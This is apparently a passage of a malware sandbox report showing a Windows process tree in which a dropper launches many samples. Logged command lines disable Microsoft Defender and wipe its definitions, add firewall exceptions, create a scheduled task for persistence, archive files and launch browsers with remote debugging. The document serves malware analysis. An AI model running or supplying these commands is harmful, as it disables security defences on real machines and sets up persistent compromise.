        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3140,i,9774940444670258403,12290338603977143614,262144 --variations-seed-version=20241115-130113.202000 --mojo-platform-channel-handle=3152 /prefetch:1
        7⤵
        Uses browser remote debugging
        
        PID:10848
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3192,i,9774940444670258403,12290338603977143614,262144 --variations-seed-version=20241115-130113.202000 --mojo-platform-channel-handle=3176 /prefetch:1
        7⤵
        Uses browser remote debugging
        
        PID:11528
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4472,i,9774940444670258403,12290338603977143614,262144 --variations-seed-version=20241115-130113.202000 --mojo-platform-channel-handle=4444 /prefetch:1
        7⤵
        Uses browser remote debugging
        
        PID:13288
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4728,i,9774940444670258403,12290338603977143614,262144 --variations-seed-version=20241115-130113.202000 --mojo-platform-channel-handle=4760 /prefetch:8
        7⤵
        
        PID:10332
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
        6⤵
        Uses browser remote debugging
        
        PID:11768
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff8eba43cb8,0x7ff8eba43cc8,0x7ff8eba43cd8
        7⤵
        
        PID:12944
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1928,3573453262483222366,15870986598854876576,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2016 /prefetch:2
        7⤵
        
        PID:13076
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1928,3573453262483222366,15870986598854876576,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 /prefetch:3
        7⤵
        
        PID:10364
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1928,3573453262483222366,15870986598854876576,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2560 /prefetch:8
        7⤵
        
        PID:11924
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=1928,3573453262483222366,15870986598854876576,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3268 /prefetch:1
        7⤵
        Uses browser remote debugging
        
        PID:5560
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=1928,3573453262483222366,15870986598854876576,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3296 /prefetch:1
        7⤵
        Uses browser remote debugging
        
        PID:9860
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=1928,3573453262483222366,15870986598854876576,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4396 /prefetch:1
        7⤵
        Uses browser remote debugging
        
        PID:8100
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=1928,3573453262483222366,15870986598854876576,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4436 /prefetch:1
        7⤵
        Uses browser remote debugging
        
        PID:7592
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1928,3573453262483222366,15870986598854876576,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2300 /prefetch:2
        7⤵
        
        PID:11548
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1928,3573453262483222366,15870986598854876576,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=4564 /prefetch:2
        7⤵
        
        PID:11980
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1928,3573453262483222366,15870986598854876576,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=swiftshader-webgl --mojo-platform-channel-handle=4688 /prefetch:2
        7⤵
        
        PID:12320
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1928,3573453262483222366,15870986598854876576,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=swiftshader-webgl --mojo-platform-channel-handle=5068 /prefetch:2
        7⤵
        
        PID:2088
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1928,3573453262483222366,15870986598854876576,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3864 /prefetch:2
        7⤵
        
        PID:12564
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\CBGCBKFBGIII" & exit
        6⤵
        
        PID:10280
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        7⤵
        Delays execution with timeout.exe
        
        PID:2080
    - - C:\Users\Admin\Desktop\Files\cayV0Deo9jSt417.exe
        
        "C:\Users\Admin\Desktop\Files\cayV0Deo9jSt417.exe"
        5⤵
        
        PID:2428
      - C:\Windows\SysWOW64\clip.exe
        
        "C:\Windows\SysWOW64\clip.exe"
        6⤵
        
        PID:11472
    - - C:\Users\Admin\Desktop\Files\mimilove.exe
        
        "C:\Users\Admin\Desktop\Files\mimilove.exe"
        5⤵
        
        PID:13024
    - - C:\Users\Admin\Desktop\Files\cabal.exe
        
        "C:\Users\Admin\Desktop\Files\cabal.exe"
        5⤵
        
        PID:9568
      - C:\Users\Admin\Desktop\Files\update.exe
        
        "C:\Users\Admin\Desktop\Files\update.exe" mmoparadox
        6⤵
        
        PID:9776
    - - C:\Users\Admin\Desktop\Files\Mswgoudnv.exe
        
        "C:\Users\Admin\Desktop\Files\Mswgoudnv.exe"
        5⤵
        
        PID:10980
    - - C:\Users\Admin\Desktop\Files\Krishna33.exe
        
        "C:\Users\Admin\Desktop\Files\Krishna33.exe"
        5⤵
        
        PID:10920
    - - C:\Users\Admin\Desktop\Files\Autoupdate.exe
        
        "C:\Users\Admin\Desktop\Files\Autoupdate.exe"
        5⤵
        
        PID:12784
      - C:\Users\Admin\AppData\Roaming\icsys.ico.exe
        
        C:\Users\Admin\AppData\Roaming\icsys.ico.exe
        6⤵
        
        PID:9716
    - - C:\Users\Admin\Desktop\Files\Clientssss.exe
        
        "C:\Users\Admin\Desktop\Files\Clientssss.exe"
        5⤵
        
        PID:10928
    - - C:\Users\Admin\Desktop\Files\ven_protected.exe
        
        "C:\Users\Admin\Desktop\Files\ven_protected.exe"
        5⤵
        
        PID:8704
    - - C:\Users\Admin\Desktop\Files\bwapp.exe
        
        "C:\Users\Admin\Desktop\Files\bwapp.exe"
        5⤵
        
        PID:8508
    - - C:\Users\Admin\Desktop\Files\tn8cdkzn.exe
        
        "C:\Users\Admin\Desktop\Files\tn8cdkzn.exe"
        5⤵
        
        PID:11816
    - - C:\Users\Admin\Desktop\Files\pyld611114.exe
        
        "C:\Users\Admin\Desktop\Files\pyld611114.exe"
        5⤵
        
        PID:5500
  - - C:\Users\Admin\Desktop\4363463463464363463463463.exe
      "C:\Users\Admin\Desktop\4363463463464363463463463.exe"
      4⤵
      PID:6336
    - - C:\Users\Admin\Desktop\Files\248364651.exe
        
        "C:\Users\Admin\Desktop\Files\248364651.exe"
        5⤵
        
        PID:6224
      - C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\c13606fe9009f11d\setup.msi"
        6⤵
        
        PID:7892
    - - C:\Users\Admin\Desktop\Files\new_v8.exe
        
        "C:\Users\Admin\Desktop\Files\new_v8.exe"
        5⤵
        
        PID:6220
    - - C:\Users\Admin\Desktop\Files\tpeinf.exe
        
        "C:\Users\Admin\Desktop\Files\tpeinf.exe"
        5⤵
        
        PID:4572
    - - C:\Users\Admin\Desktop\Files\Built.exe
        
        "C:\Users\Admin\Desktop\Files\Built.exe"
        5⤵
        
        PID:3900
      - C:\Users\Admin\Desktop\Files\Built.exe
        
        "C:\Users\Admin\Desktop\Files\Built.exe"
        6⤵
        
        PID:3252
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Files\Built.exe'"
        7⤵
        
        PID:1784
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Files\Built.exe'
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4980
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        7⤵
        
        PID:8144
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3184
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI39002\rar.exe a -r -hp"1" "C:\Users\Admin\AppData\Local\Temp\lFFWJ.zip" *"
        7⤵
        
        PID:4100
        
        C:\Users\Admin\AppData\Local\Temp\_MEI39002\rar.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI39002\rar.exe a -r -hp"1" "C:\Users\Admin\AppData\Local\Temp\lFFWJ.zip" *
        8⤵
        
        PID:8424
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic os get Caption"
        7⤵
        
        PID:9848
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic os get Caption
        8⤵
        
        PID:9024
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
        7⤵
        
        PID:2936
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get totalphysicalmemory
        8⤵
        
        PID:9756
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        7⤵
        
        PID:8620
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        8⤵
        
        PID:9608
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
        7⤵
        
        PID:6168
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9596
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        7⤵
        
        PID:7184
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:1692
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
        7⤵
        
        PID:7960
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
        8⤵
        
        PID:5864
    - - C:\Users\Admin\Desktop\Files\RambledMime.exe
        
        "C:\Users\Admin\Desktop\Files\RambledMime.exe"
        5⤵
        
        PID:8868
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:8400
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:6348
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:5220
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:9924
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:8836
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:8892
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:9648
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:10088
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        7⤵
        
        PID:9648
    - - C:\Users\Admin\Desktop\Files\PCclear_Eng_mini.exe
        
        "C:\Users\Admin\Desktop\Files\PCclear_Eng_mini.exe"
        5⤵
        
        PID:8372
    - - C:\Users\Admin\Desktop\Files\ZZZ.exe
        
        "C:\Users\Admin\Desktop\Files\ZZZ.exe"
        5⤵
        
        PID:7956
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7956 -s 448
        6⤵
        Program crash
        
        PID:8940
    - - C:\Users\Admin\Desktop\Files\m.exe
        
        "C:\Users\Admin\Desktop\Files\m.exe"
        5⤵
        
        PID:7584
    - - C:\Users\Admin\Desktop\Files\PctOccurred.exe
        
        "C:\Users\Admin\Desktop\Files\PctOccurred.exe"
        5⤵
        
        PID:9976
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k move Powell Powell.cmd & Powell.cmd & exit
        6⤵
        
        PID:8988
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        
        PID:2684
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa.exe opssvc.exe"
        7⤵
        
        PID:3052
    - - C:\Users\Admin\Desktop\Files\trojan.exe
        
        "C:\Users\Admin\Desktop\Files\trojan.exe"
        5⤵
        
        PID:9984
      - C:\Users\Admin\AppData\Roaming\server.exe
        
        "C:\Users\Admin\AppData\Roaming\server.exe"
        6⤵
        
        PID:4980
        
        C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\server.exe" "server.exe" ENABLE
        7⤵
        Modifies Windows Firewall
        
        PID:2280
        
        C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall delete allowedprogram "C:\Users\Admin\AppData\Roaming\server.exe"
        7⤵
        Modifies Windows Firewall
        
        PID:9920
        
        C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\server.exe" "server.exe" ENABLE
        7⤵
        Modifies Windows Firewall
        
        PID:7448
    - - C:\Users\Admin\Desktop\Files\payload.exe
        
        "C:\Users\Admin\Desktop\Files\payload.exe"
        5⤵
        
        PID:2724
    - - C:\Users\Admin\Desktop\Files\contorax.exe
        
        "C:\Users\Admin\Desktop\Files\contorax.exe"
        5⤵
        
        PID:8860
      - C:\ProgramData\Microsoft Subsystem Framework\winmsbt.exe
        
        "C:\ProgramData\Microsoft Subsystem Framework\winmsbt.exe"
        6⤵
        
        PID:7416
    - - C:\Users\Admin\Desktop\Files\surfex.exe
        
        "C:\Users\Admin\Desktop\Files\surfex.exe"
        5⤵
        
        PID:7172
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:1472
    - - C:\Users\Admin\Desktop\Files\123.exe
        
        "C:\Users\Admin\Desktop\Files\123.exe"
        5⤵
        
        PID:6232
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        6⤵
        
        PID:2240
    - - C:\Users\Admin\Desktop\Files\main.exe
        
        "C:\Users\Admin\Desktop\Files\main.exe"
        5⤵
        
        PID:7708
      - C:\Users\Admin\Desktop\Files\main.exe
        
        "C:\Users\Admin\Desktop\Files\main.exe"
        6⤵
        
        PID:1476
    - - C:\Users\Admin\Desktop\Files\Vn70wVxW.exe
        
        "C:\Users\Admin\Desktop\Files\Vn70wVxW.exe"
        5⤵
        
        PID:3016
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:6596
    - - C:\Users\Admin\Desktop\Files\random.exe
        
        "C:\Users\Admin\Desktop\Files\random.exe"
        5⤵
        
        PID:1604
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:10308
    - - C:\Users\Admin\Desktop\Files\broadcom5.exe
        
        "C:\Users\Admin\Desktop\Files\broadcom5.exe"
        5⤵
        
        PID:240
      - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        
        "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
        6⤵
        
        PID:7304
    - - C:\Users\Admin\Desktop\Files\23c2343.exe
        
        "C:\Users\Admin\Desktop\Files\23c2343.exe"
        5⤵
        
        PID:10124
    - - C:\Users\Admin\Desktop\Files\Meeting.exe
        
        "C:\Users\Admin\Desktop\Files\Meeting.exe"
        5⤵
        
        PID:7492
      - C:\Users\Admin\AppData\Local\Temp\RarSFX3\Icon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX3\Icon.exe"
        6⤵
        
        PID:10168
    - - C:\Users\Admin\Desktop\Files\88851n80.exe
        
        "C:\Users\Admin\Desktop\Files\88851n80.exe"
        5⤵
        
        PID:7056
      - C:\Users\Admin\AppData\Local\WahhVasyaa\88851n80.exe
        
        "C:\Users\Admin\AppData\Local\WahhVasyaa\88851n80.exe"
        6⤵
        
        PID:5800
    - - C:\Users\Admin\Desktop\Files\tdrp.exe
        
        "C:\Users\Admin\Desktop\Files\tdrp.exe"
        5⤵
        
        PID:10860
    - - C:\Users\Admin\Desktop\Files\golden.exe
        
        "C:\Users\Admin\Desktop\Files\golden.exe"
        5⤵
        
        PID:1484
      - C:\Users\Admin\Desktop\Files\golden.exe
        
        "C:\Users\Admin\Desktop\Files\golden.exe"
        6⤵
        
        PID:10808
    - - C:\Users\Admin\Desktop\Files\Client-built.exe
        
        "C:\Users\Admin\Desktop\Files\Client-built.exe"
        5⤵
        
        PID:10176
      - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "java updater" /sc ONLOGON /tr "C:\Users\Admin\Desktop\Files\Client-built.exe" /rl HIGHEST /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10636
    - - C:\Users\Admin\Desktop\Files\creal.exe
        
        "C:\Users\Admin\Desktop\Files\creal.exe"
        5⤵
        
        PID:13068
      - C:\Users\Admin\Desktop\Files\creal.exe
        
        "C:\Users\Admin\Desktop\Files\creal.exe"
        6⤵
        
        PID:10508
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        7⤵
        
        PID:7216
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        
        PID:2216
    - - C:\Users\Admin\Desktop\Files\Utility.exe
        
        "C:\Users\Admin\Desktop\Files\Utility.exe"
        5⤵
        
        PID:4216
    - - C:\Users\Admin\Desktop\Files\aaa.exe
        
        "C:\Users\Admin\Desktop\Files\aaa.exe"
        5⤵
        
        PID:9664
    - - C:\Users\Admin\Desktop\Files\svc.exe
        
        "C:\Users\Admin\Desktop\Files\svc.exe"
        5⤵
        
        PID:9472
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\detailcompetitive.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\detailcompetitive.exe
        6⤵
        
        PID:12632
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
        7⤵
        
        PID:10376
    - - C:\Users\Admin\Desktop\Files\out.exe
        
        "C:\Users\Admin\Desktop\Files\out.exe"
        5⤵
        
        PID:7848
    - - C:\Users\Admin\Desktop\Files\4.exe
        
        "C:\Users\Admin\Desktop\Files\4.exe"
        5⤵
        
        PID:11720
    - - C:\Users\Admin\Desktop\Files\wwbizsrvs.exe
        
        "C:\Users\Admin\Desktop\Files\wwbizsrvs.exe"
        5⤵
        
        PID:9288
  - - C:\Users\Admin\Desktop\4363463463464363463463463.exe
      "C:\Users\Admin\Desktop\4363463463464363463463463.exe"
      4⤵
      PID:7328
    - - C:\Users\Admin\Desktop\Files\pp.exe
        
        "C:\Users\Admin\Desktop\Files\pp.exe"
        5⤵
        
        PID:5456
    - - C:\Users\Admin\Desktop\Files\OneDrive.exe
        
        "C:\Users\Admin\Desktop\Files\OneDrive.exe"
        5⤵
        
        PID:7660
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
